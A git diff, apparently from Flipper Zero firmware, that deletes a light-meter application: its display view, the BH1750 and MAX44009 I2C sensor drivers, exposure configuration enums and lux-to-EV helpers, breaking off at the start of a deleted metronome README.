canvas_set_font(canvas, FontPrimary); - snprintf(str, sizeof(str), "%.0f", (double)model->peakLux); - canvas_draw_str_aligned(canvas, 80, 39, AlignRight, AlignCenter, str); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 85, 43, AlignLeft, AlignBottom, "Lux peak"); - - for(int i = 0; i < LUX_HISTORGRAM_LENGTH; i++) { - float lux = - model->luxHistogram[(i + model->luxHistogramIndex) % LUX_HISTORGRAM_LENGTH]; - int barHeight = log10(lux) / log10(LUX_HISTORGRAM_LOGBASE); - canvas_draw_line( - canvas, - LUX_HISTORGRAM_LEFT + i, - LUX_HISTORGRAM_BOTTOM, - LUX_HISTORGRAM_LEFT + i, - LUX_HISTORGRAM_BOTTOM - barHeight); - } - } -} diff --git a/applications/external/lightmeter/gui/views/main_view.h b/applications/external/lightmeter/gui/views/main_view.h deleted file mode 100644 index e05860eef..000000000 --- a/applications/external/lightmeter/gui/views/main_view.h +++ /dev/null @@ -1,110 +0,0 @@ -#pragma once - -#include -#include "lightmeter_icons.h" -#include "../../lightmeter_config.h" - -/* log base 1.4 and 12 pixels cut off - makes it show values approx 65-65k - with reasonable resolution in 1-10k range - on 20px of screen height */ -#define LUX_HISTORGRAM_LOGBASE 1.4 -#define LUX_HISTORGRAM_BOTTOM 64 + 12 - -/* 40 pixels between 45th and 85th - between left and right button labels */ -#define LUX_HISTORGRAM_LEFT 45 -#define LUX_HISTORGRAM_LENGTH 40 - -typedef struct MainView MainView; - -typedef enum { - FIXED_APERTURE, - FIXED_SPEED, - - MODES_SIZE -} MainViewMode; - -typedef struct { - uint8_t recv[2]; - MainViewMode current_mode; - float lux; - float peakLux; - float EV; - float aperture_val; - float speed_val; - int iso_val; - bool response; - int iso; - int nd; - int aperture; - int speed; - bool dome; - bool lux_only; - int measurement_resolution; - int device_addr; - int sensor_type; - - float luxHistogram[LUX_HISTORGRAM_LENGTH]; - int luxHistogramIndex; -} MainViewModel; - -typedef void (*LightMeterMainViewButtonCallback)(void* context); - -void lightmeter_main_view_set_left_callback( - MainView* lightmeter_main_view, - LightMeterMainViewButtonCallback callback, - void* context); - -void lightmeter_main_view_set_right_callback( - MainView* lightmeter_main_view, - LightMeterMainViewButtonCallback callback, - void* context); - -MainView* main_view_alloc(); - -void main_view_free(MainView* main_view); - -View* main_view_get_view(MainView* main_view); - -void main_view_set_lux(MainView* main_view, float val); - -void main_view_reset_lux(MainView* main_view); - -void main_view_set_EV(MainView* main_view_, float val); - -void main_view_set_response(MainView* main_view_, bool val); - -void main_view_set_iso(MainView* main_view, int val); - -void main_view_set_nd(MainView* main_view, int val); - -void main_view_set_aperture(MainView* main_view, int val); - -void main_view_set_speed(MainView* main_view, int val); - -void main_view_set_dome(MainView* main_view, bool val); - -void main_view_set_lux_only(MainView* main_view, bool val); - -void main_view_set_measurement_resolution(MainView* main_view, int val); - -void main_view_set_device_addr(MainView* main_view, int addr); - -void main_view_set_sensor_type(MainView* main_view, int sensor_type); - -bool main_view_get_dome(MainView* main_view); - -void draw_top_row(Canvas* canvas, MainViewModel* context); - -void draw_aperture(Canvas* canvas, MainViewModel* context); - -void draw_speed(Canvas* canvas, MainViewModel* context); - -void draw_mode_indicator(Canvas* canvas, MainViewModel* context); - -void draw_nd_number(Canvas* canvas, MainViewModel* context); - -void draw_EV_number(Canvas* canvas, MainViewModel* context); - -void draw_lux_only_mode(Canvas* canvas, MainViewModel* context); diff --git a/applications/external/lightmeter/icons/T_10x14.png b/applications/external/lightmeter/icons/T_10x14.png deleted file mode 100644 index d81c2c424..000000000 Binary files a/applications/external/lightmeter/icons/T_10x14.png and /dev/null differ diff --git a/applications/external/lightmeter/icons/f_10x14.png b/applications/external/lightmeter/icons/f_10x14.png deleted file mode 100644 index c3e85c0ec..000000000 Binary files a/applications/external/lightmeter/icons/f_10x14.png and /dev/null differ diff --git a/applications/external/lightmeter/lib/BH1750/BH1750.c b/applications/external/lightmeter/lib/BH1750/BH1750.c deleted file mode 100644 index 9e6a50758..000000000 --- a/applications/external/lightmeter/lib/BH1750/BH1750.c +++ /dev/null @@ -1,150 +0,0 @@ -/** - * @file BH1750.h - * @author Oleksii Kutuzov (oleksii.kutuzov@icloud.com) - * @brief - * @version 0.1 - * @date 2022-11-06 - * - * @copyright Copyright (c) 2022 - * - * Ported from: - * https://github.com/lamik/Light_Sensors_STM32 - */ - -#include "BH1750.h" - -BH1750_mode bh1750_mode = BH1750_DEFAULT_MODE; // Current sensor mode -uint8_t bh1750_mt_reg = BH1750_DEFAULT_MTREG; // Current MT register value -uint8_t bh1750_addr = BH1750_ADDRESS; - -BH1750_STATUS bh1750_init() { - if(BH1750_OK == bh1750_reset()) { - if(BH1750_OK == bh1750_set_mt_reg(BH1750_DEFAULT_MTREG)) { - return BH1750_OK; - } - } - return BH1750_ERROR; -} - -BH1750_STATUS bh1750_init_with_addr(uint8_t addr) { - bh1750_addr = (addr << 1); - return bh1750_init(); -} - -BH1750_STATUS bh1750_reset() { - uint8_t command = 0x07; - bool status; - - furi_hal_i2c_acquire(I2C_BUS); - status = furi_hal_i2c_tx(I2C_BUS, bh1750_addr, &command, 1, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - - if(status) { - return BH1750_OK; - } - - return BH1750_ERROR; -} - -BH1750_STATUS bh1750_set_power_state(uint8_t PowerOn) { - PowerOn = (PowerOn ? 1 : 0); - bool status; - - furi_hal_i2c_acquire(I2C_BUS); - status = furi_hal_i2c_tx(I2C_BUS, bh1750_addr, &PowerOn, 1, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - - if(status) { - return BH1750_OK; - } - - return BH1750_ERROR; -} - -BH1750_STATUS bh1750_set_mode(BH1750_mode mode) { - if(!((mode >> 4) || (mode >> 5))) { - return BH1750_ERROR; - } - - if((mode & 0x0F) > 3) { - return BH1750_ERROR; - } - - bool status; - - bh1750_mode = mode; - - furi_hal_i2c_acquire(I2C_BUS); - status = furi_hal_i2c_tx(I2C_BUS, bh1750_addr, &mode, 1, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - - if(status) { - return BH1750_OK; - } - - return BH1750_ERROR; -} - -BH1750_STATUS bh1750_set_mt_reg(uint8_t mt_reg) { - if(mt_reg < 31 || mt_reg > 254) { - return BH1750_ERROR; - } - - bh1750_mt_reg = mt_reg; - - uint8_t tmp[2]; - bool status; - - tmp[0] = (0x40 | (mt_reg >> 5)); - tmp[1] = (0x60 | (mt_reg & 0x1F)); - - furi_hal_i2c_acquire(I2C_BUS); - status = furi_hal_i2c_tx(I2C_BUS, bh1750_addr, &tmp[0], 1, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - if(!status) { - return BH1750_ERROR; - } - - furi_hal_i2c_acquire(I2C_BUS); - status = furi_hal_i2c_tx(I2C_BUS, bh1750_addr, &tmp[1], 1, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - if(status) { - return BH1750_OK; - } - - return BH1750_ERROR; -} - -BH1750_STATUS bh1750_trigger_manual_conversion() { - if(BH1750_OK == bh1750_set_mode(bh1750_mode)) { - return BH1750_OK; - } - return BH1750_ERROR; -} - -BH1750_STATUS bh1750_read_light(float* result) { - float result_tmp; - uint8_t rcv[2]; - bool status; - - furi_hal_i2c_acquire(I2C_BUS); - status = furi_hal_i2c_rx(I2C_BUS, bh1750_addr, rcv, 2, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); - - if(status) { - result_tmp = (rcv[0] << 8) | (rcv[1]); - - if(bh1750_mt_reg != BH1750_DEFAULT_MTREG) { - result_tmp *= (float)((uint8_t)BH1750_DEFAULT_MTREG / (float)bh1750_mt_reg); - } - - if(bh1750_mode == ONETIME_HIGH_RES_MODE_2 || bh1750_mode == CONTINUOUS_HIGH_RES_MODE_2) { - result_tmp /= 2.0; - } - - *result = result_tmp / BH1750_CONVERSION_FACTOR; - - return BH1750_OK; - } - return BH1750_ERROR; -} diff --git a/applications/external/lightmeter/lib/BH1750/BH1750.h b/applications/external/lightmeter/lib/BH1750/BH1750.h deleted file mode 100644 index 46649c33e..000000000 --- a/applications/external/lightmeter/lib/BH1750/BH1750.h +++ /dev/null @@ -1,110 +0,0 @@ -/** - * @file BH1750.h - * @author Oleksii Kutuzov (oleksii.kutuzov@icloud.com) - * @brief - * @version 0.1 - * @date 2022-11-06 - * - * @copyright Copyright (c) 2022 - * - * Ported from: - * https://github.com/lamik/Light_Sensors_STM32 - */ - -#include -#include - -#ifndef BH1750_H_ -#define BH1750_H_ - -// I2C BUS -#define I2C_BUS &furi_hal_i2c_handle_external -#define I2C_TIMEOUT 10 - -#define BH1750_ADDRESS (0x23 << 1) - -#define BH1750_POWER_DOWN 0x00 -#define BH1750_POWER_ON 0x01 -#define BH1750_RESET 0x07 -#define BH1750_DEFAULT_MTREG 69 -#define BH1750_DEFAULT_MODE ONETIME_HIGH_RES_MODE - -#define BH1750_CONVERSION_FACTOR 1.2 - -typedef enum { BH1750_OK = 0, BH1750_ERROR = 1 } BH1750_STATUS; - -typedef enum { - CONTINUOUS_HIGH_RES_MODE = 0x10, - CONTINUOUS_HIGH_RES_MODE_2 = 0x11, - CONTINUOUS_LOW_RES_MODE = 0x13, - ONETIME_HIGH_RES_MODE = 0x20, - ONETIME_HIGH_RES_MODE_2 = 0x21, - ONETIME_LOW_RES_MODE = 0x23 -} BH1750_mode; - -/** - * @brief Initialize the sensor. Sends the reset command and sets the measurement register to the default value. - * - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_init(); - -/** - * @brief Change the I2C device address and then initialize the sensor. - * - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_init_with_addr(uint8_t addr); - -/** - * @brief Reset all registers to the default value. - * - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_reset(); - -/** - * @brief Sets the power state. 1 - running; 0 - sleep, low power. - * - * @param PowerOn sensor state. - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_set_power_state(uint8_t PowerOn); - -/** - * @brief Set the Measurement Time register. It allows to increase or decrease the sensitivity. - * - * @param MTreg value from 31 to 254, defaults to 69. - * - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_set_mt_reg(uint8_t MTreg); - -/** - * @brief Set the mode of converting. Look into the bh1750_mode enum. - * - * @param Mode mode enumerator - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_set_mode(BH1750_mode Mode); - -/** - * @brief Trigger the conversion in manual modes. - * - * @details a low-resolution mode, the conversion time is typically 16 ms, and for a high-resolution - * mode is 120 ms. You need to wait until reading the measurement value. There is no need - * to exit low-power mode for manual conversion. It makes automatically. - * - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_trigger_manual_conversion(); - -/** - * @brief Read the converted value and calculate the result. - * - * @param Result stores received value to this variable. - * @return BH1750_STATUS - */ -BH1750_STATUS bh1750_read_light(float* Result); - -#endif /* BH1750_H_ */ diff --git a/applications/external/lightmeter/lib/BH1750/LICENSE b/applications/external/lightmeter/lib/BH1750/LICENSE deleted file mode 100644 index cb2f65db5..000000000 --- a/applications/external/lightmeter/lib/BH1750/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Oleksii Kutuzov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/lightmeter/lib/BH1750/README.md b/applications/external/lightmeter/lib/BH1750/README.md deleted file mode 100644 index b1338d4ab..000000000 --- a/applications/external/lightmeter/lib/BH1750/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# flipperzero-BH1750 -BH1750 light sensor library for Flipper Zero diff --git a/applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf b/applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf deleted file mode 100644 index 267efddc6..000000000 Binary files a/applications/external/lightmeter/lib/BH1750/docs/BH1750.pdf and /dev/null differ diff --git a/applications/external/lightmeter/lib/MAX44009/MAX44009.c b/applications/external/lightmeter/lib/MAX44009/MAX44009.c deleted file mode 100644 index 1e8794724..000000000 --- a/applications/external/lightmeter/lib/MAX44009/MAX44009.c +++ /dev/null @@ -1,35 +0,0 @@ -#include -#include -#include - -uint8_t max44009_addr = MAX44009_ADDR; - -void max44009_init() { - furi_hal_i2c_acquire(I2C_BUS); - furi_hal_i2c_write_reg_8( - I2C_BUS, max44009_addr, MAX44009_REG_CONFIG, MAX44009_REG_CONFIG_CONT_MODE, I2C_TIMEOUT); - furi_hal_i2c_release(I2C_BUS); -} - -void max44009_init_with_addr(uint8_t addr) { - max44009_addr = (addr << 1); - return max44009_init(); -} - -int max44009_read_light(float* result) { - uint8_t data_one = 0; - uint8_t exp, mantissa; - int status; - - furi_hal_i2c_acquire(I2C_BUS); - furi_hal_i2c_read_reg_8(I2C_BUS, MAX44009_ADDR, MAX44009_REG_LUX_HI, &data_one, I2C_TIMEOUT); - exp = (data_one & MAX44009_REG_LUX_HI_EXP_MASK) >> 4; - mantissa = (data_one & MAX44009_REG_LUX_HI_MANT_HI_MASK) << 4; - status = furi_hal_i2c_read_reg_8( - I2C_BUS, MAX44009_ADDR, MAX44009_REG_LUX_LO, &data_one, I2C_TIMEOUT); - mantissa |= (data_one & MAX44009_REG_LUX_LO_MANT_LO_MASK); - furi_hal_i2c_release(I2C_BUS); - *result = (float)pow(2, exp) * mantissa * 0.045; - FURI_LOG_D("MAX44009", "exp %d, mant %d, lux %f", exp, mantissa, (double)*result); - return status; -} diff --git a/applications/external/lightmeter/lib/MAX44009/MAX44009.h b/applications/external/lightmeter/lib/MAX44009/MAX44009.h deleted file mode 100644 index c09838fc2..000000000 --- a/applications/external/lightmeter/lib/MAX44009/MAX44009.h +++ /dev/null @@ -1,27 +0,0 @@ -#include -#include - -#pragma once - -// I2C BUS -#define I2C_BUS &furi_hal_i2c_handle_external -#define I2C_TIMEOUT 10 - -#define MAX44009_ADDR (0x4A << 1) - -#define MAX44009_REG_INT_STATUS 0x00 -#define MAX44009_REG_INT_EN 0x01 -#define MAX44009_REG_CONFIG 0x02 -#define MAX44009_REG_CONFIG_CONT_MODE (1 << 7) -#define MAX44009_REG_LUX_HI 0x03 -#define MAX44009_REG_LUX_HI_EXP_MASK 0xF0 -#define MAX44009_REG_LUX_HI_MANT_HI_MASK 0x0F -#define MAX44009_REG_LUX_LO 0x04 -#define MAX44009_REG_LUX_LO_MANT_LO_MASK 0x0F -#define MAX44009_REG_THRESH_HI 0x05 -#define MAX44009_REG_THRESH_LO 0x06 -#define MAX44009_REG_INT_TIME 0x07 - -void max44009_init(); -void max44009_init_with_addr(uint8_t addr); -int max44009_read_light(float* result); diff --git a/applications/external/lightmeter/lightmeter.c b/applications/external/lightmeter/lightmeter.c deleted file mode 100644 index 9589e025b..000000000 --- a/applications/external/lightmeter/lightmeter.c +++ /dev/null @@ -1,259 +0,0 @@ -#include "lightmeter.h" -#include "lightmeter_helper.h" - -#define TAG "MAIN APP" - -static bool lightmeter_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - LightMeterApp* app = context; - - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool lightmeter_back_event_callback(void* context) { - furi_assert(context); - LightMeterApp* app = context; - - return scene_manager_handle_back_event(app->scene_manager); -} - -static void lightmeter_tick_event_callback(void* context) { - furi_assert(context); - LightMeterApp* app = context; - - scene_manager_handle_tick_event(app->scene_manager); -} - -LightMeterApp* lightmeter_app_alloc(uint32_t first_scene) { - LightMeterApp* app = malloc(sizeof(LightMeterApp)); - - // Set default values to config - app->config = malloc(sizeof(LightMeterConfig)); - app->config->iso = DEFAULT_ISO; - app->config->nd = DEFAULT_ND; - app->config->aperture = DEFAULT_APERTURE; - app->config->dome = DEFAULT_DOME; - app->config->backlight = DEFAULT_BACKLIGHT; - app->config->measurement_resolution = HIGH_RES; - app->config->device_addr = ADDR_LOW; - app->config->lux_only = LUX_ONLY_OFF; - - // Records - app->gui = furi_record_open(RECORD_GUI); - app->storage = furi_record_open(RECORD_STORAGE); - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->cfg_path = furi_string_alloc(); - furi_string_printf(app->cfg_path, "%s/%s", APP_PATH_DIR, APP_PATH_CFG); - - FlipperFormat* cfg_fmt = flipper_format_file_alloc(app->storage); - if(flipper_format_file_open_existing(cfg_fmt, furi_string_get_cstr(app->cfg_path))) { - flipper_format_read_int32(cfg_fmt, "iso", &app->config->iso, 1); - flipper_format_read_int32(cfg_fmt, "aperture", &app->config->aperture, 1); - flipper_format_read_int32(cfg_fmt, "dome", &app->config->dome, 1); - flipper_format_read_int32(cfg_fmt, "backlight", &app->config->backlight, 1); - flipper_format_read_int32( - cfg_fmt, "measurement_resolution", &app->config->measurement_resolution, 1); - flipper_format_read_int32(cfg_fmt, "lux_only", &app->config->lux_only, 1); - flipper_format_read_int32(cfg_fmt, "device_addr", &app->config->device_addr, 1); - flipper_format_read_int32(cfg_fmt, "sensor_type", &app->config->sensor_type, 1); - } - flipper_format_free(cfg_fmt); - - // Sensor - lightmeter_app_i2c_init_sensor(app); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&lightmeter_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, lightmeter_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, lightmeter_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, lightmeter_tick_event_callback, furi_ms_to_ticks(200)); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Views - app->main_view = main_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, LightMeterAppViewMainView, main_view_get_view(app->main_view)); - - // Set default values to main view from config - main_view_set_iso(app->main_view, app->config->iso); - main_view_set_nd(app->main_view, app->config->nd); - main_view_set_aperture(app->main_view, app->config->aperture); - main_view_set_speed(app->main_view, DEFAULT_SPEED); - main_view_set_dome(app->main_view, app->config->dome); - - // Variable item list - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - LightMeterAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, LightMeterAppViewAbout, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, LightMeterAppViewHelp, widget_get_view(app->widget)); - - // Set first scene - scene_manager_next_scene(app->scene_manager, first_scene); - return app; -} - -void lightmeter_app_free(LightMeterApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, LightMeterAppViewMainView); - main_view_free(app->main_view); - - // Variable item list - view_dispatcher_remove_view(app->view_dispatcher, LightMeterAppViewVarItemList); - variable_item_list_free(app->var_item_list); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, LightMeterAppViewAbout); - view_dispatcher_remove_view(app->view_dispatcher, LightMeterAppViewHelp); - widget_free(app->widget); - - // View dispatcher - scene_manager_free(app->scene_manager); - view_dispatcher_free(app->view_dispatcher); - - // Records - furi_record_close(RECORD_GUI); - if(app->config->backlight != BACKLIGHT_AUTO) { - notification_message( - app->notifications, - &sequence_display_backlight_enforce_auto); // set backlight back to auto - } - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_NOTIFICATION); - - bh1750_set_power_state(0); - - free(app->config); - free(app); -} - -int32_t lightmeter_app(void* p) { - UNUSED(p); - uint32_t first_scene = LightMeterAppSceneMain; - LightMeterApp* app = lightmeter_app_alloc(first_scene); - view_dispatcher_run(app->view_dispatcher); - lightmeter_app_free(app); - return 0; -} - -void lightmeter_app_set_config(LightMeterApp* context, LightMeterConfig* config) { - LightMeterApp* app = context; - - app->config = config; - storage_common_mkdir(app->storage, APP_PATH_DIR); - - FlipperFormat* cfg_fmt = flipper_format_file_alloc(app->storage); - if(flipper_format_file_open_always(cfg_fmt, furi_string_get_cstr(app->cfg_path))) { - flipper_format_write_header_cstr(cfg_fmt, "lightmeter", 1); - - flipper_format_write_int32(cfg_fmt, "iso", &(app->config->iso), 1); - flipper_format_write_int32(cfg_fmt, "nd", &(app->config->nd), 1); - flipper_format_write_int32(cfg_fmt, "aperture", &(app->config->aperture), 1); - flipper_format_write_int32(cfg_fmt, "dome", &(app->config->dome), 1); - flipper_format_write_int32(cfg_fmt, "backlight", &(app->config->backlight), 1); - flipper_format_write_int32( - cfg_fmt, "measurement_resolution", &(app->config->measurement_resolution), 1); - flipper_format_write_int32(cfg_fmt, "lux_only", &(app->config->lux_only), 1); - flipper_format_write_int32(cfg_fmt, "device_addr", &(app->config->device_addr), 1); - flipper_format_write_int32(cfg_fmt, "sensor_type", &(app->config->sensor_type), 1); - } - flipper_format_free(cfg_fmt); -} - -void lightmeter_app_i2c_init_sensor(LightMeterApp* context) { - LightMeterApp* app = context; - switch(app->config->sensor_type) { - case SENSOR_BH1750: - bh1750_set_power_state(1); - switch(app->config->device_addr) { - case ADDR_HIGH: - bh1750_init_with_addr(0x5C); - break; - case ADDR_LOW: - bh1750_init_with_addr(0x23); - break; - default: - bh1750_init_with_addr(0x23); - break; - } - bh1750_set_mode(ONETIME_HIGH_RES_MODE); - break; - case SENSOR_MAX44009: - switch(app->config->device_addr) { - case ADDR_HIGH: - max44009_init_with_addr(0x4B); - break; - case ADDR_LOW: - max44009_init_with_addr(0x4A); - break; - default: - max44009_init_with_addr(0x4A); - break; - } - break; - default: - FURI_LOG_E(TAG, "Invalid sensor type %ld", app->config->sensor_type); - return; - } -} - -void lightmeter_app_i2c_deinit_sensor(LightMeterApp* context) { - LightMeterApp* app = context; - switch(app->config->sensor_type) { - case SENSOR_BH1750: - bh1750_set_power_state(0); - break; - case SENSOR_MAX44009: - // nothing - break; - default: - FURI_LOG_E(TAG, "Invalid sensor type %ld", app->config->sensor_type); - return; - } -} - -void lightmeter_app_i2c_callback(LightMeterApp* context) { - LightMeterApp* app = context; - - float EV = 0; - float lux = 0; - bool response = 0; - - if(app->config->sensor_type == SENSOR_BH1750) { - if(bh1750_trigger_manual_conversion() == BH1750_OK) { - bh1750_read_light(&lux); - response = 1; - } - } else if(app->config->sensor_type == SENSOR_MAX44009) { - if(max44009_read_light(&lux)) response = 1; - } - - if(main_view_get_dome(app->main_view)) lux *= DOME_COEFFICIENT; - EV = lux2ev(lux); - - main_view_set_lux(app->main_view, lux); - main_view_set_EV(app->main_view, EV); - main_view_set_response(app->main_view, response); -} - -void lightmeter_app_reset_callback(LightMeterApp* context) { - LightMeterApp* app = context; - - main_view_reset_lux(app->main_view); -} diff --git a/applications/external/lightmeter/lightmeter.h b/applications/external/lightmeter/lightmeter.h deleted file mode 100644 index de0a6a3fb..000000000 --- a/applications/external/lightmeter/lightmeter.h +++ /dev/null @@ -1,79 +0,0 @@ -#pragma once - -#include -#include - -#include -#include - -#include -#include -#include -#include - -#include "gui/views/main_view.h" - -#include -#include - -#include "gui/scenes/config/lightmeter_scene.h" -#include - -#include "lightmeter_config.h" -#include -#include - -#define APP_PATH_DIR STORAGE_APP_DATA_PATH_PREFIX -#define APP_PATH_CFG "config.txt" - -typedef struct { - int32_t iso; - int32_t nd; - int32_t aperture; - int32_t dome; - int32_t backlight; - int32_t lux_only; - int32_t sensor_type; - int32_t measurement_resolution; - int32_t device_addr; -} LightMeterConfig; - -typedef struct { - Gui* gui; - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - MainView* main_view; - VariableItemList* var_item_list; - VariableItem* var_item_addr; - LightMeterConfig* config; - NotificationApp* notifications; - Widget* widget; - - Storage* storage; - FuriString* cfg_path; -} LightMeterApp; - -typedef enum { - LightMeterAppViewMainView, - LightMeterAppViewConfigView, - LightMeterAppViewVarItemList, - LightMeterAppViewAbout, - LightMeterAppViewHelp, -} LightMeterAppView; - -typedef enum { - LightMeterAppCustomEventReset, - LightMeterAppCustomEventConfig, - LightMeterAppCustomEventHelp, - LightMeterAppCustomEventAbout, -} LightMeterAppCustomEvent; - -void lightmeter_app_set_config(LightMeterApp* context, LightMeterConfig* config); - -void lightmeter_app_i2c_init_sensor(LightMeterApp* context); - -void lightmeter_app_i2c_deinit_sensor(LightMeterApp* context); - -void lightmeter_app_i2c_callback(LightMeterApp* context); - -void lightmeter_app_reset_callback(LightMeterApp* context); diff --git a/applications/external/lightmeter/lightmeter.png b/applications/external/lightmeter/lightmeter.png deleted file mode 100644 index cacd2276f..000000000 Binary files a/applications/external/lightmeter/lightmeter.png and /dev/null differ diff --git a/applications/external/lightmeter/lightmeter_config.h b/applications/external/lightmeter/lightmeter_config.h deleted file mode 100644 index e97464ab1..000000000 --- a/applications/external/lightmeter/lightmeter_config.h +++ /dev/null @@ -1,124 +0,0 @@ -#pragma once - -#define LM_VERSION_APP "1.2" -#define LM_DEVELOPED "Oleksii Kutuzov" -#define LM_GITHUB "https://github.com/oleksiikutuzov/flipperzero-lightmeter" - -#define DOME_COEFFICIENT 2.3 -#define DEFAULT_ISO ISO_100 -#define DEFAULT_ND ND_0 -#define DEFAULT_APERTURE AP_2_8 -#define DEFAULT_SPEED SPEED_125 -#define DEFAULT_DOME WITHOUT_DOME -#define DEFAULT_BACKLIGHT BACKLIGHT_AUTO - -typedef enum { - ISO_6, - ISO_12, - ISO_25, - ISO_50, - ISO_100, - ISO_200, - ISO_400, - ISO_800, - ISO_1600, - ISO_3200, - ISO_6400, - ISO_12800, - ISO_25600, - ISO_51200, - ISO_102400, - - ISO_NUM, -} LightMeterISONumbers; - -typedef enum { - ND_0, - ND_2, - ND_4, - ND_8, - ND_16, - ND_32, - ND_64, - ND_128, - ND_256, - ND_512, - ND_1024, - ND_2048, - ND_4096, - - ND_NUM, -} LightMeterNDNumbers; - -typedef enum { - AP_1, - AP_1_4, - AP_2, - AP_2_8, - AP_4, - AP_5_6, - AP_8, - AP_11, - AP_16, - AP_22, - AP_32, - AP_45, - AP_64, - AP_90, - AP_128, - - AP_NUM, -} LightMeterApertureNumbers; - -typedef enum { - SPEED_8000, - SPEED_4000, - SPEED_2000, - SPEED_1000, - SPEED_500, - SPEED_250, - SPEED_125, - SPEED_60, - SPEED_48, - SPEED_30, - SPEED_15, - SPEED_8, - SPEED_4, - SPEED_2, - SPEED_1S, - SPEED_2S, - SPEED_4S, - SPEED_8S, - SPEED_15S, - SPEED_30S, - - SPEED_NUM, -} LightMeterSpeedNumbers; - -typedef enum { - WITHOUT_DOME, - WITH_DOME, -} LightMeterDomePresence; - -typedef enum { - LUX_ONLY_OFF, - LUX_ONLY_ON, -} LightMeterLuxOnlyMode; - -typedef enum { - LOW_RES, - HIGH_RES, - HIGH_RES2, -} LightMeterMeterMode; - -typedef enum { - ADDR_LOW, - ADDR_HIGH, -} LightMeterMeterAddr; - -typedef enum { - SENSOR_BH1750, - SENSOR_MAX44009, -} LightMeterSensorType; - -typedef enum { BACKLIGHT_AUTO, BACKLIGHT_ON } LightMeterBacklight; diff --git a/applications/external/lightmeter/lightmeter_helper.c b/applications/external/lightmeter/lightmeter_helper.c deleted file mode 100644 index 465ccbce1..000000000 --- a/applications/external/lightmeter/lightmeter_helper.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "lightmeter_helper.h" -#include "lightmeter_config.h" - -extern const float aperture_numbers[]; -extern const float speed_numbers[]; - -float lux2ev(float lux) { - return log2(lux / 2.5); -} - -float getMinDistance(float x, float v1, float v2) { - if(x - v1 > v2 - x) { - return v2; - } - - return v1; -} - -float normalizeAperture(float a) { - for(int i = 0; i < AP_NUM; i++) { - float a1 = aperture_numbers[i]; - float a2 = aperture_numbers[i + 1]; - - if(a1 < a && a2 >= a) { - return getMinDistance(a, a1, a2); - } - } - - return 0; -} - -float normalizeTime(float a) { - for(int i = 0; i < SPEED_NUM; i++) { - float a1 = speed_numbers[i]; - float a2 = speed_numbers[i + 1]; - - if(a1 < a && a2 >= a) { - return getMinDistance(a, a1, a2); - } - } - - return 0; -} diff --git a/applications/external/lightmeter/lightmeter_helper.h b/applications/external/lightmeter/lightmeter_helper.h deleted file mode 100644 index 78ea6a8d8..000000000 --- a/applications/external/lightmeter/lightmeter_helper.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -float lux2ev(float lux); - -float getMinDistance(float x, float v1, float v2); - -float normalizeAperture(float a); - -float normalizeTime(float a); diff --git a/applications/external/metronome/README.md b/applications/external/metronome/README.md deleted file mode 100644 index 4b6cd3122..000000000 --- a/applications/external/metronome/README.md +++ /dev/null @@ -1,23 +0,0 @@ -# Metronome - -[Original link](https://github.com/panki27/Metronome) - -A metronome for the [Flipper Zero](https://flipperzero.one/) device. Goes along perfectly with my [BPM tapper](https://github.com/panki27/bpm-tapper). - -![screenshot](img/screenshot.png) - -## Features - -- BPM adjustable, fine 